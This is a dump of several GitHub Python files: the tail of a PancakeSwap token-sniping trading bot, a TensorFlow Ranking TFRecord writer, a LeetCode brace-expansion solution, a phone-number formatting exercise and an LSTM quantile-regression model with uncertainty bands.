BNB'+key.RESET)\n print(key.CGREEN +'---------------------------------'+key.RESET)\n\n def selltxonly(self):\n\n #sellcontract\n sell_router = web3.toChecksumAddress(self.token)\n sell_router_abi = key.sellAbi\n selltcontract = web3.eth.contract(sell_router, abi=sell_router_abi)\n #TokenInfo \n balance = selltcontract.functions.balanceOf(key.account).call()\n symbol = selltcontract.functions.symbol().call()\n readable = web3.fromWei(balance,'ether')\n tokenValue = balance\n\n #gwei for sell\n gweis1 = key.gsell\n gweis2 = args.gs\n if gweis2 == None:\n gweis = gweis1\n else:\n gweis = gweis2\n\n #selltoken\n pancakeswap2_txn = prouter.functions.swapExactTokensForETHSupportingFeeOnTransferTokens(\n int(tokenValue),0,\n [self.token, wbnb],\n key.account,\n (int(time.time()) + 1000000)\n\n ).buildTransaction({\n 'from': key.account,\n 'gas': 2000000,\n 'gasPrice': web3.toWei((gweis),'gwei'),\n 'nonce': web3.eth.get_transaction_count(key.account),\n })\n\n signed_txn = web3.eth.account.sign_transaction(pancakeswap2_txn, private_key=key.private)\n tx_token3 = web3.eth.send_raw_transaction(signed_txn.rawTransaction)\n\n jt = (web3.toHex(tx_token3))\n jresi = web3.eth.wait_for_transaction_receipt(jt)\n jpr = jresi['status']\n if jpr == 1:\n print(key.CGREEN+'Success'+key.RESET)\n if jpr == 0:\n print(key.CRED+'Failed'+key.RESET)\n print(key.CGREEN+'https://bscscan.com/tx/'+jt+key.RESET)\n print(key.CBLUE +'---------------------------------'+key.RESET)\n mbal = web3.eth.get_balance(key.account)\n rmbal = web3.fromWei(mbal,'ether')\n print('Balance :'+str(rmbal)+key.CYELLOW +' BNB'+key.RESET)\n print(key.CGREEN +'---------------------------------'+key.RESET)\n\n def watchsell(self):\n #sellcontract\n sell_router = web3.toChecksumAddress(self.token)\n sell_router_abi = key.sellAbi\n selltcontract = web3.eth.contract(sell_router, abi=sell_router_abi)\n #TokenInfo \n balance = selltcontract.functions.balanceOf(key.account).call()\n symbol = selltcontract.functions.symbol().call()\n readable = web3.fromWei(balance,'ether')\n tokenValue = balance\n #check profit \n print(key.CYELLOW+'Checking Profit!'+key.RESET)\n\n try:\n while True:\n check = prouter.functions.getAmountsOut(int(balance),[self.token, wbnb]).call()\n rbnb = web3.fromWei(check[1],'ether')\n print (key.CYELLOW+'Your Profit: '+key.RESET+key.CGREEN+str(rbnb)+' BNB'+key.RESET)\n time.sleep(1)\n except KeyboardInterrupt:\n pass\n print(key.CBLUE+'Swapping Token.........'+key.RESET)\n\n\n\n #everythingrunfromhere\n def StartUP(self):\n self.TXN = TXN(self.token, self.amountForSnipe)\n #time\n start = time.time()\n #watchsell\n if args.ws == True:\n self.watchsell()\n self.selltxonly()\n sys.exit()\n asu = input()\n #maketx and sell\n if args.sl == False:\n #welcome\n self.SayWelcome()\n #pairandLPcheck\n self.paircheck() \n #tradecheck\n if args.sw == False:\n self.awaitEnabledBuy()\n #deadblock\n block = web3.eth.blockNumber\n dead1 = key.dead1\n dead2 = args.d\n if dead2 != None and (int(dead2) > int(0)):\n rdead = block+int(dead2)\n dead = rdead\n print(key.CGREEN+'Current block :'+str(block)+key.RESET+'\\n'+key.CRED+'Skiping '+dead2+' block'+key.RESET+'\\n'+key.CVIOLET+'Buying at block :'+str(rdead)+key.RESET)\n fdead = dead-int(1)\n while True:\n block = web3.eth.blockNumber\n if block == fdead:\n break\n #honeychecktax\n honeyTax = self.TXN.checkToken()\n if args.tx == False:\n print('Buy Tax : '+key.CRED+str(honeyTax[0])+'% '+key.RESET+'Sell Tax : '+key.CRED+str(honeyTax[1])+'%'+key.RESET)\n if honeyTax[0] > key.buytax:\n print('Waiting Tax Low '+str(honeyTax[0])+'%')\n while True:\n honeyTax = self.TXN.checkToken()\n time.sleep(0.07)\n if honeyTax[0] < key.buytax:\n break\n if self.hp == True:\n print(key.CRED +\"Checking Honeypot...\"+key.RESET)\n if honeyTax[2] == True:\n print(key.CRED + 'Honeypot! bye-bye '+key.RESET)\n sys.exit() \n elif honeyTax[2] == False:\n print(key.CGREEN + 'Not Honeypoot '+key.RESET)\n \n #endcalculatetime\n end = time.time()\n if args.t == True:\n print(end-start, 'Seconds')\n\n #checkmode\n if args.c == True:\n print('Check Mode !')\n sys.exit()\n\n #maketx and sell\n self.maketx()\n self.selltx()\n sys.exit() \n #sellonly\n if args.sl == True:\n print(key.CRED+'Checking Trade Status and Tax'+key.RESET)\n self.awaitEnabledBuy()\n honeyTax = self.TXN.checkToken() \n if honeyTax[1] > key.selltax:\n print('Waiting Tax Low '+str(honeyTax[1])+'%')\n self.awaitEnabledBuy()\n while True:\n honeyTax = self.TXN.checkToken()\n time.sleep(0.07)\n if honeyTax[1] < key.selltax:\n break\n self.selltxonly()\n \nSniperBot().StartUP()\n","repo_name":"n0bcoder/newsimple","sub_path":"sniper.py","file_name":"sniper.py","file_ext":"py","file_size_in_byte":17167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73648450650","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 17 10:51:16 2023\n\n@author: corde\n\"\"\"\n\n#####\nimport os\nimport pandas as pd\nimport pathlib\nimport tensorflow as tf\nimport tensorflow_ranking as tfr\nimport tensorflow_text as tf_text\nfrom tensorflow_serving.apis import input_pb2\n\nos.chdir(r\"C:\\Users\\corde\\Documents\\0_Github\\NLP-Learning\")\n\ndatos = pd.read_csv('Data/Raw/tfrecords/datos_a_corregir.csv').loc[:,['QID','TEXTO_COMPARACION', 'D_EVENTO','RANK']]\ndatos['RANK'] = datos['RANK'].astype('int')\ndatos.columns = ['qid','query_tokens','document_tokens','relevance']\n\n#example = datos[datos[\"qid\"] == 1]\n\ntypes = {'query_tokens': 'str',\n 'document_tokens':'str',\n 'relevance':'int'}\n\nvalues_list = list(types.values())\nkeys_list = list(types.keys())\n\ndatos_values = datos.values\n\n##############################\n# -- Definir preprocessor -- #\n##############################\n\nclass LookUpTablePreprocessor(tfr.keras.model.Preprocessor):\n\n def __init__(self, vocab_file, vocab_size, embedding_dim):\n self._vocab_file = vocab_file\n self._vocab_size = vocab_size\n self._embedding_dim = embedding_dim\n\n def __call__(self, context_inputs, example_inputs, mask):\n list_size = tf.shape(mask)[1]\n lookup = tf.keras.layers.StringLookup(\n max_tokens=self._vocab_size,\n vocabulary=self._vocab_file,\n mask_token=None)\n embedding = tf.keras.layers.Embedding(\n input_dim=self._vocab_size,\n output_dim=self._embedding_dim,\n embeddings_initializer=None,\n embeddings_constraint=None)\n # StringLookup and Embedding are shared over context and example features.\n context_features = {\n key: tf.reduce_mean(embedding(lookup(value)), axis=-2)\n for key, value in context_inputs.items()\n }\n example_features = {\n key: tf.reduce_mean(embedding(lookup(value)), axis=-2)\n for key, value in example_inputs.items()\n }\n return context_features, example_features\n\n_VOCAB_FILE = 'Data/Raw/tfrecords/vocab_spanish.txt' #-> el vocab tiene origen en los datos originales\n_VOCAB_SIZE = len(pathlib.Path(_VOCAB_FILE).read_text().split())\n\npreprocessor = LookUpTablePreprocessor(_VOCAB_FILE, _VOCAB_SIZE, 20)\n\ntokenizer = tf_text.BertTokenizer(_VOCAB_FILE)\nexample_tokens = tokenizer.tokenize(\"Hojalata invadiendo senda peatonal posibilita ocurrencia de incidente/accidente.\".lower())\n\nprint(example_tokens)\nprint(tokenizer.detokenize(example_tokens))\n\n######################################################################\n\n###############\n# Encoder W2V #\n###############\n\nimport os\nos.chdir(r\"Code\\DataPrep\\utils\")\nfrom settings import *\n\nos.chdir(r\"C:/Users/corde/Documents/0_Github/NLP-Learning/Code/DataPrep\")\nimport importData as importData\nimport preprocessing as preprocessing\nimport exploratoryData as exploratoryData\nimport dataModeling as dataModeling\n\nimport os\nfrom settings import *\nfrom text_utils import *\n\ndef vectorizing_data(\n datos_a_procesar: pd.DataFrame,\n model_w2v: model_w2v,\n pdt: ProcesadorDeTexto(),\n) -> pd.DataFrame:\n \"\"\"Vectorización de documentos, consultas y operaciones de extracción de características.\n Parameters ---------- \n datos_a_procesar: pd.DataFrame\n _description_ pdt: new_text_utils.ProcesadorDeTexto\n _description_\n model_w2v: gensim.models.word2vec.Word2Vec\n _description_ \n Returns -------\n pd.DataFrame _description_ \"\"\" \n \n datos_a_procesar['query_tokens_encoder'] = \\\n datos_a_procesar['query_tokens'].apply(\n func=pdt.vectorize,\n model_w2v=model_w2v,\n )\n \n datos_a_procesar['document_tokens_encoder'] = \\\n datos_a_procesar['query_tokens'].apply(\n func=pdt.vectorize,\n model_w2v=model_w2v,\n )\n \n return datos_a_procesar\n\ndatos = vectorizing_data(datos_a_procesar = datos,\n model_w2v = model_w2v,\n pdt = ProcesadorDeTexto()).reset_index()\n\n###################################################################### \n\n#########################\n#Escritura en Tf-records#\n#\n# No necesariamente tiene que poner sus datos en el formato de cadena mencionado\n# anteriormente y es posible crear un objeto ELWC mediante programación al proporcionar\n# una instancia tf.train.Example como su ejemplo de contexto y una lista de\n# tf.train.Example para las características de sus documentos.\n# Defina algunas funciones para envolver sus valores sin procesar dentro del tipo\n# tf.train.Feature con los tipos respectivos:\n\ndef _bytes_feature(value_list):\n \"\"\"Returns a bytes_list from a string / byte.\"\"\"\n if isinstance(value_list, type(tf.constant(0))):\n value_list = value_list.numpy() # BytesList won't unpack a string from an EagerTensor.\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=value_list))\n\ndef _float_feature(value_list):\n \"\"\"Returns a float_list from a float / double.\"\"\"\n return tf.train.Feature(float_list=tf.train.FloatList(value=value_list))\n\ndef _int64_feature(value_list):\n \"\"\"Returns an int64_list from a bool / enum / int / uint.\"\"\"\n return tf.train.Feature(int64_list=tf.train.Int64List(value=value_list))\n\n# Luego, puede usar tf.io.TFRecordWriter y escribir tantos ELWC\n# como desee (es decir, un ELWC por consulta) en el mismo registro TF, p.\n\n#Escribir todos los datos\n\nwith tf.io.TFRecordWriter(\"C:/Users/corde/Documents/0_Github/NLP-Learning/Data/Raw/tfrecords/input_tfranking.tfrecords\") as writer:\n \n context_dict = {}\n example_dict = {}\n \n ELWC = input_pb2.ExampleListWithContext()\n example_features = ELWC.examples.add()\n #example_context = ELWC.context\n \n #k = 3\n #\n for k in datos[\"qid\"].unique():\n \n example = datos[datos[\"qid\"] == k].reset_index().drop(\"index\", axis = 1)\n \n for j in list(range(example.shape[0])):\n \n ELWC = input_pb2.ExampleListWithContext()\n example_features = ELWC.examples.add()\n \n example_dict[\"document\"] = _bytes_feature([example.loc[j,\"document_tokens\"].encode('utf-8')])\n exampe_proto = tf.train.Example(features=tf.train.Features(feature = example_dict))\n \n example_dict[\"document_bert_encoder_outputs\"] = _float_feature( example.loc[j,\"query_tokens_encoder\"] )\n exampe_proto = tf.train.Example(features=tf.train.Features(feature=example_dict))\n \n example_dict[\"document_id\"] = _bytes_feature([str(example.loc[j,\"qid\"]).encode('utf-8')])\n exampe_proto = tf.train.Example(features=tf.train.Features(feature=example_dict))\n \n #Posición en el diccionario vocab.\n document_input = list(tokenizer.tokenize(str(example.loc[j,\"document_tokens\"]).encode('utf-8').lower()).to_list())[0]\n document_input_ids = []\n [document_input_ids.append(x[0]) for x in document_input]\n example_dict[\"document_input_ids\"] = _int64_feature( document_input_ids )\n exampe_proto = tf.train.Example(features=tf.train.Features(feature=example_dict))\n \n example_dict[\"document_input_mask\"] = _int64_feature( [1]*len(document_input_ids) )\n exampe_proto = tf.train.Example(features=tf.train.Features(feature=example_dict))\n \n example_dict[\"document_segment_ids\"] = _int64_feature( [0]*len(document_input_ids) )\n exampe_proto = tf.train.Example(features=tf.train.Features(feature=example_dict))\n \n example_dict[\"document_tokens\"] = _bytes_feature( str(example.loc[j,\"document_tokens\"]).encode('utf-8').lower().split() )\n exampe_proto = tf.train.Example(features=tf.train.Features(feature=example_dict))\n \n example_dict[\"relevance\"] = _int64_feature([example.loc[j,\"relevance\"]])\n exampe_proto = tf.train.Example(features=tf.train.Features(feature=example_dict))\n \n example_features.CopyFrom(exampe_proto)\n \n writer.write(ELWC.SerializeToString())\n print(\"------- Escritura examples -----------\", exampe_proto)\n \n if j == max(list(range(example.shape[0]))):\n \n ELWC = input_pb2.ExampleListWithContext()\n \n context_dict[\"query\"] = _bytes_feature([ example.loc[0, \"query_tokens\"].encode('utf-8') ])\n context_proto = tf.train.Example(features=tf.train.Features(feature = context_dict))\n \n context_dict[\"query_bert_encoder_outputs\"] = _float_feature( example.loc[0, \"document_tokens_encoder\"] )\n context_proto = tf.train.Example(features=tf.train.Features(feature = context_dict))\n \n context_dict[\"query_id\"] = _int64_feature([example.loc[0, \"qid\"]])\n context_proto = tf.train.Example(features=tf.train.Features(feature = context_dict))\n \n query_input = list(tokenizer.tokenize(str(example.loc[j,\"query_tokens\"]).encode('utf-8').lower()).to_list())[0]\n query_input_ids = []\n [query_input_ids.append(x[0]) for x in query_input]\n \n context_dict[\"query_input_ids\"] = _int64_feature( query_input_ids )\n context_proto = tf.train.Example(features=tf.train.Features(feature = context_dict))\n \n context_dict[\"query_input_mask\"] = _int64_feature( [1] * len(query_input_ids) )\n context_proto = tf.train.Example(features=tf.train.Features(feature = context_dict))\n \n context_dict[\"query_segment_ids\"] = _int64_feature( [0] * len(query_input_ids) )\n context_proto = tf.train.Example(features=tf.train.Features(feature = context_dict))\n \n context_dict[\"query_tokens\"] = _bytes_feature( str(example.loc[j,\"query_tokens\"]).encode('utf-8').lower().split() )\n context_proto = tf.train.Example(features=tf.train.Features(feature = context_dict))\n \n print(\"######### Escritura context ##############\", context_proto)\n \n ELWC.context.CopyFrom(context_proto)\n \n writer.write(ELWC.SerializeToString())\n \ntmp = datos[datos[\"document_tokens\"].str.contains(\"barras\")]\n \n####\n#Otra forma es aprovechar el constructor ExampleListWithContext y simplemente\n#pasarle el contexto tf.train.Example \n#y una lista de tf.train.Example para los documentos,\n#que sospecho que es más eficiente que pasar por la operación CopyFrom:\n \n#ELWC = input_pb2.ExampleListWithContext(context=context_proto,\n# examples=example_list)\n\n#Después de escribir el registro TF, puede verificar su cordura leyéndolo e\n#imprimiendo algunos ELWC según sea necesario, por ejemplo:\n \ndef read_and_print_tf_record(target_filename, num_of_examples_to_read):\n filenames = [target_filename]\n tf_record_dataset = tf.data.TFRecordDataset(filenames)\n \n for raw_record in tf_record_dataset.take(num_of_examples_to_read):\n example_list_with_context = input_pb2.ExampleListWithContext()\n example_list_with_context.ParseFromString(raw_record.numpy())\n print(example_list_with_context)\n\nread_and_print_tf_record(\"input_tfranking.tfrecords\", 5)\n\n\n\n\n\n\n\n\n","repo_name":"Corderodedios182/NLP-Learning","sub_path":"Code/Model/Tf-rank/Write_tfrecords.py","file_name":"Write_tfrecords.py","file_ext":"py","file_size_in_byte":11485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35818655428","text":"\"\"\"\nA string S represents a list of words.\n\nEach letter in the word has 1 or more options. If there is one option, the letter is represented as is. If there is more than one option, then curly braces delimit the options. For example, \"{a,b,c}\" represents options [\"a\", \"b\", \"c\"].\n\nFor example, \"{a,b,c}d{e,f}\" represents the list [\"ade\", \"adf\", \"bde\", \"bdf\", \"cde\", \"cdf\"].\n\nReturn all words that can be formed in this manner, in lexicographical order.\n\n \n\nExample 1:\n\nInput: \"{a,b}c{d,e}f\"\nOutput: [\"acdf\",\"acef\",\"bcdf\",\"bcef\"]\nExample 2:\n\nInput: \"abcd\"\nOutput: [\"abcd\"]\n \n\nNote:\n\n1 <= S.length <= 50\nThere are no nested curly brackets.\nAll characters inside a pair of consecutive opening and ending curly brackets are different.\n\"\"\"\nclass Solution:\n def expand(self, S: str) -> List[str]:\n res = []\n self.backtracking(res, 0, S, \"\")\n return res\n def backtracking(self, res, idx, S, current):\n if idx == len(S):\n res.append(current)\n else:\n if S[idx] == \"{\":\n pointer = idx+1\n while S[pointer]!=\"}\":\n pointer+=1\n chars = S[idx+1:pointer].split(\",\")\n for char in chars:\n self.backtracking(res, pointer+1, S, current+char)\n else:\n self.backtracking(res, idx+1, S, current+S[idx])","repo_name":"wenyaowu/leetcode-js","sub_path":"problems/braceExpansion.py","file_name":"braceExpansion.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2657083243","text":"# 5. Valida e corrige número de telefone. Faça um programa que leia um número de telefone, e corrija o número no caso deste conter somente 7 dígitos, acrescentando o '3' na frente. O usuário pode informar o número com ou sem o traço separador.\n\n# Valida e corrige número de telefone\n# Telefone: 461-0133\n# Telefone possui 7 dígitos. Vou acrescentar o digito três na frente.\n# Telefone corrigido sem formatação: 34610133\n# Telefone corrigido com formatação: 3461-0133\n\nnumero = input(\"Insira o número de telefone:\").strip().replace(\"-\", \"\")\n\nif len(numero) == 7:\n print(\n \"Telefone possui 7 dígitos. Vou acrescentar o digito três na frente.\"\n )\n novo_numero = f\"3{numero}\"\n print(f\"Telefone corrigido sem formatação: {novo_numero}\")\n print(\n f\"Telefone corrigido com formatação: {novo_numero[:4]}-{novo_numero[4:]}\"\n )\nelse:\n print(\"Insira um número com 7 dīgitos\")\n","repo_name":"isabeladearo/python_study","sub_path":"modulo_7_strings/exercicio_5.py","file_name":"exercicio_5.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4288907097","text":"\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nfrom tqdm import tqdm\r\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler\r\nfrom sklearn.metrics import mean_squared_log_error, mean_squared_error\r\nimport re\r\nimport datetime\r\nimport abc\r\nfrom abc import ABCMeta\r\nfrom keras.models import *\r\nfrom keras.layers import *\r\nfrom keras.layers.core import Lambda\r\nfrom keras import backend as K\r\nfrom keras.layers import CuDNNLSTM\r\nfrom keras import backend as K\r\nfrom MyWrapper import *\r\n\r\n\r\n\r\n\r\nclass DeepQuantileRegressionWithUncertainty(object):\r\n '''\r\n Deep keras quantile regression with uncertainty.\r\n\r\n 1) lstm model is defined\r\n 2) the model is trained on rolling window basis\r\n 3)\r\n\r\n '''\r\n __metaclass__ = ABCMeta\r\n\r\n\r\n def __init__(self, parameters_dict):\r\n '''\r\n\r\n :param parameters_dict: dict with many parameters\r\n\r\n '''\r\n\r\n if parameters_dict is None:\r\n parameters_dict = MyWrapper({})\r\n else:\r\n parameters_dict = MyWrapper(parameters_dict)\r\n\r\n self.df_path = parameters_dict.df_path\r\n\r\n\r\n self.TimeColumnName = parameters_dict.TimeColumnName\r\n self.rolling_window_size = parameters_dict.rolling_window_size\r\n self.columns_train = parameters_dict.columns_train\r\n self.lower_quantile_cutoff = parameters_dict.lower_quantile_cutoff\r\n self.higher_quantile_cutoff = parameters_dict.higher_quantile_cutoff\r\n\r\n self.quantile_or_mean = parameters_dict.quantile_or_mean\r\n self.epochs = parameters_dict.epochs\r\n self.train_test_split = parameters_dict.train_test_split\r\n self.batch_size = parameters_dict.batch_size\r\n\r\n\r\n self.custom_rate=parameters_dict.custom_rate\r\n if self.custom_rate:\r\n self.lr=parameters_dict.lr\r\n self.anealing_rate = parameters_dict.anealing_rate\r\n\r\n self.cyclical_rate = parameters_dict.cyclical_rate\r\n if self.cyclical_rate:\r\n self.cyclical_rate = parameters_dict.anealing_rate\r\n\r\n\r\n\r\n self.load_df()\r\n\r\n\r\n def load_df(self):\r\n '''\r\n\r\n :return:\r\n '''\r\n #self.df = pd.read_csv(self.df_path, parse_dates=[self.TimeColumnName], infer_datetime_format=True)\r\n self.df = pd.read_csv(self.df_path)\r\n\r\n\r\n @abc.abstractmethod\r\n def preprocess(self):\r\n '''\r\n\r\n :return:\r\n '''\r\n\r\n @abc.abstractmethod\r\n def postprocess(self,f=None):\r\n '''\r\n\r\n :param f:\r\n :return:\r\n '''\r\n\r\n\r\n def generate_index(self,cols):\r\n '''\r\n\r\n :return:\r\n '''\r\n\r\n data_matrix = self.df[cols]\r\n num_elements = data_matrix.shape[0]\r\n\r\n for start, stop in zip(range(0, num_elements - self.rolling_window_size, 1), range(self.rolling_window_size, num_elements, 1)):\r\n yield data_matrix[stop - self.rolling_window_size:stop].values.reshape((-1, len(cols)))\r\n\r\n\r\n def q_loss(self,q, y, f):\r\n e = (y - f)\r\n return K.mean(K.maximum(q * e, (q - 1) * e), axis=-1)\r\n\r\n\r\n\r\n\r\n\r\n\r\n def TrainLSTM(self):\r\n\r\n if self.cyclical_rate:\r\n self.history = self.model.fit(self.X_train, [self.y_train, self.y_train, self.y_train], callbacks=[clr], epochs=self.epochs,\r\n batch_size=self.batch_size, verbose=0, shuffle=False)\r\n\r\n\r\n\r\n else:\r\n self.history = self.model.fit( self.X_train, [self.y_train, self.y_train, self.y_train], epochs=self.epochs,\r\n batch_size=self.batch_size, verbose=0, shuffle=False)\r\n\r\n\r\n def prediction_uncertainty(self,iterations=100):\r\n\r\n pred_ql, pred_50, pred_qh = [], [], []\r\n NN = K.function([self.model.layers[0].input, K.learning_phase()],\r\n [self.model.layers[-3].output, self.model.layers[-2].output, self.model.layers[-1].output])\r\n\r\n for i in (range(0, iterations)):\r\n predd = NN([self.X_test, 0.5])\r\n pred_ql.append(predd[0])\r\n pred_50.append(predd[1])\r\n pred_qh.append(predd[2])\r\n\r\n self.pred_ql = np.asarray(pred_ql)[:, :, 0]\r\n self.pred_50 = np.asarray(pred_50)[:, :, 0]\r\n self.pred_qh = np.asarray(pred_qh)[:, :, 0]\r\n\r\n def crossover_check(self):\r\n plt.figure(figsize=(35, 10))\r\n plt.plot(self.pred_qh, color='yellow',label='upper bound')\r\n plt.plot(self.pred_50, color='blue',label='median')\r\n plt.plot(self.pred_ql, color='green',label='lower bound')\r\n\r\n ### CROSSOVER CHECK ###\r\n plt.scatter(np.where(np.logical_or(self.pred_50 > self.pred_qh, self.pred_50 < self.pred_ql))[0],\r\n self.pred_50[np.logical_or(self.pred_50 > self.pred_qh, self.pred_50 < self.pred_ql)],\r\n c='red', s=50)\r\n plt.plot(self.y_test, color='black',label='actual y test')\r\n plt.legend()\r\n plt.show()\r\n\r\n def uncertainty_cylider(self):\r\n\r\n if self.quantile_or_mean:\r\n\r\n self.pred_ql = np.percentile(self.pred_ql, self.lower_quantile_cutoff, axis=0)\r\n self.pred_50 = self.pred_50.mean(axis=0)\r\n self.pred_qh = np.percentile(self.pred_qh, self.higher_quantile_cutoff, axis=0)\r\n else:\r\n self.pred_ql = self.pred_ql.mean(axis=0)\r\n self.pred_50 = self.pred_50.mean(axis=0)\r\n self.pred_qh = self.pred_qh.mean(axis=0)\r\n\r\n\r\n\r\n def evaluation_prediction(self ):\r\n\r\n return self.loss_eval(self.y_test, self.pred_50)\r\n\r\n def quantile_range(self):\r\n plt.figure(figsize=(35, 10))\r\n plt.plot(self.y_test, color='red', alpha=0.4)\r\n plt.scatter( range(len(self.pred_ql)),self.pred_qh - self.pred_ql)\r\n plt.show()\r\n\r\n def proportion_contained_in_CI(self):\r\n bounds_df = pd.DataFrame()\r\n\r\n # Using 99% confidence bounds\r\n bounds_df['lower_bound'] = self.pred_ql\r\n bounds_df['prediction'] = self.pred_50\r\n bounds_df['real_value'] = self.y_test\r\n bounds_df['upper_bound'] = self.pred_qh\r\n\r\n bounds_df['contained'] = ((bounds_df['real_value'] >= bounds_df['lower_bound']) &\r\n (bounds_df['real_value'] <= bounds_df['upper_bound']))\r\n\r\n print(\"Proportion of points contained within \"+str(self.higher_quantile_cutoff-self.lower_quantile_cutoff)\r\n +\"% confidence interval:\",bounds_df['contained'].mean())\r\n\r\n\r\n def LSTM_model(self):\r\n\r\n losses = [lambda y, f: self.q_loss(self.lower_quantile_cutoff, y, f),\r\n lambda y, f: self.q_loss(0.5, y, f),\r\n lambda y, f: self.q_loss(self.higher_quantile_cutoff, y, f)]\r\n\r\n dropout1 = Dropout(0.15, name='droput1')\r\n dropout2 = Dropout(0.15, name='droput2')\r\n\r\n\r\n inputs = Input(shape=(self.X_train.shape[1], self.X_train.shape[2]))\r\n\r\n lstm = Bidirectional(CuDNNLSTM(64, return_sequences=True, name='lstm1'))(inputs)\r\n lstm = dropout1(lstm)\r\n lstm = Bidirectional(CuDNNLSTM(64, return_sequences=False, name='lstm1'))(lstm)\r\n lstm = dropout2(lstm)\r\n dense = Dense(50)(lstm)\r\n out10 = Dense(1)(dense)\r\n out50 = Dense(1)(dense)\r\n out90 = Dense(1)(dense)\r\n\r\n self.model = Model(inputs, [out10, out50, out90])\r\n\r\n if self.cyclical_rate:\r\n self.clr = CyclicLR(base_lr=0.001, max_lr=0.02,\r\n step_size=10.)\r\n self.model.compile(loss=losses, optimizer='adam', loss_weights=[0.3, 0.3, 0.3])\r\n elif self.custom_rate:\r\n opt = keras.optimizers.Adagrad(learning_rate=0.01)\r\n self.model.compile(loss=losses, optimizer=opt, loss_weights=[0.3, 0.3, 0.3])\r\n\r\n else:\r\n self.model.compile(loss=losses, optimizer='adam', loss_weights=[0.3, 0.3, 0.3])\r\n\r\n def RUN(self):\r\n #print('preprocess')\r\n self.preprocess()\r\n #print('model')\r\n self.LSTM_model()\r\n self.TrainLSTM()\r\n #print('prediction uncertainty')\r\n self.prediction_uncertainty()\r\n #print('uncertainty cylinder')\r\n self.uncertainty_cylider()\r\n #print('postprocess')\r\n self.postprocess()\r\n\r\n\r\n #self.crossover_check()\r\n #self.quantile_range()\r\n\r\n #print(self.evaluation_prediction())\r\n #self.proportion_contained_in_CI()\r\n\r\n\r\n\r\n\r\n\r\nclass NetPosUsdDQRWU(DeepQuantileRegressionWithUncertainty):\r\n\r\n def __init__(self,parameters_dict):\r\n\r\n super(NetPosUsdDQRWU, self).__init__(parameters_dict)\r\n self.loss_eval=lambda x,y:mean_squared_log_error(x,y)\r\n\r\n def mad(self,arr):\r\n \"\"\" Median Absolute Deviation: a \"Robust\" version of standard deviation.\r\n Indices variabililty of the sample.\r\n https://en.wikipedia.org/wiki/Median_absolute_deviation\r\n \"\"\"\r\n arr = np.ma.array(arr).compressed() # should be faster to not use masked arrays.\r\n med = np.median(arr)\r\n return np.median(np.abs(arr - med))\r\n\r\n def mlog_trans(self,x):\r\n\r\n x_trans = (1 / mad(x)) * (x - np.median(x))\r\n y = np.sign(x_trans) * (np.log(abs(x_trans) + 1 / (1 / 3)) + np.log(1 / 3))\r\n return y\r\n\r\n def mlog_inverse(self,x_trans, median_x, mad_x):\r\n y = np.sign(x_trans) * (np.exp(abs(x_trans) - np.log(1 / 3)) - 1 / (1 / 3))\r\n x_inv = mad_x * y + median_x\r\n return x_inv\r\n\r\n def no_bardata_nans(self):\r\n return self.df[np.isnan(self.df.CloseBid) == False]\r\n\r\n def preprocess(self ):\r\n\r\n\r\n self.mad_=self.mad(self.df.NetPosUsd)\r\n self.median = np.median(self.df.NetPosUsd)\r\n self.df.NetPosUsd=self.mlog_trans(self.df.NetPosUsd)\r\n self.df['ma'+str(self.rolling_window_size/3)] = self.df['NetPosUsd'].rolling(window=int(self.rolling_window_size/3)).mean()\r\n self.df['ma'+str(self.rolling_window_size)] = self.df['NetPosUsd'].rolling(window=self.rolling_window_size).mean()\r\n other = []\r\n\r\n cnt, mean = [], []\r\n for sequence in self.generate_index(self.columns_train):\r\n cnt.append(sequence)\r\n\r\n cnt = np.array(cnt)\r\n\r\n # out = np.concatenate([cnt, other], axis=2)\r\n out = cnt\r\n\r\n label = self.df.NetPosUsd[self.rolling_window_size:].values\r\n self.X_train, self.X_test = out[:self.train_test_split], out[self.train_test_split:]\r\n self.y_train, self.y_test = label[:self.train_test_split], label[self.train_test_split:]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n def postprocess(self):\r\n self.pred_qh = self.mlog_inverse(self.pred_qh ,self.median,self.mad_ )\r\n self.pred_50 = self.mlog_inverse(self.pred_50 ,self.median,self.mad_ )\r\n self.pred_ql = self.mlog_inverse(self.pred_ql ,self.median,self.mad_ )\r\n self.y_test = self.mlog_inverse(self.y_test,self.median,self.mad_ )\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef mad(arr):\r\n \"\"\" Median Absolute Deviation: a \"Robust\" version of standard deviation.\r\n Indices variabililty of the sample.\r\n https://en.wikipedia.org/wiki/Median_absolute_deviation \r\n \"\"\"\r\n arr = np.ma.array(arr).compressed() # should be faster to not use masked arrays.\r\n med = np.median(arr)\r\n return np.median(np.abs(arr - med))\r\n\r\n\r\n\r\ndef mlog_trans(x):\r\n\r\n x_trans= (1/mad(x))*(x-np.median(x))\r\n y = np.sign(x_trans)*(np.log(abs(x_trans)+1/(1/3))+np.log(1/3))\r\n return y\r\n\r\n\r\ndef mlog_inverse(x_trans,median_x, mad_x):\r\n y =np.sign(x_trans)*(np.exp(abs(x_trans)-np.log(1/3))-1/(1/3))\r\n x_inv = mad_x*y+median_x\r\n return x_inv\r\n\r\ndef no_bardata_nans(df):\r\n return df[np.isnan(df.CloseBid)==False]\r\n\r\ndef cylinder_log_hist(df):\r\n d = df['Upper_60_Cylinder'] - df['Lower_60_Cylinder']\r\n plt.hist(np.log(d[d > 0]), bins=25);\r\n plt.show()\r\n d = df['Upper_360_Cylinder'] - df['Lower_360_Cylinder']\r\n plt.hist(np.log(d[d > 0]), bins=25);\r\n plt.show()\r\n d = df['Upper_1440_Cylinder'] - df['Lower_1440_Cylinder']\r\n plt.hist(np.log(d[d > 0]), bins=25);\r\n plt.show()\r\n d = df['Upper_8640_Cylinder'] - df['Lower_8640_Cylinder']\r\n plt.hist(np.log(d[d > 0]), bins=25);\r\n 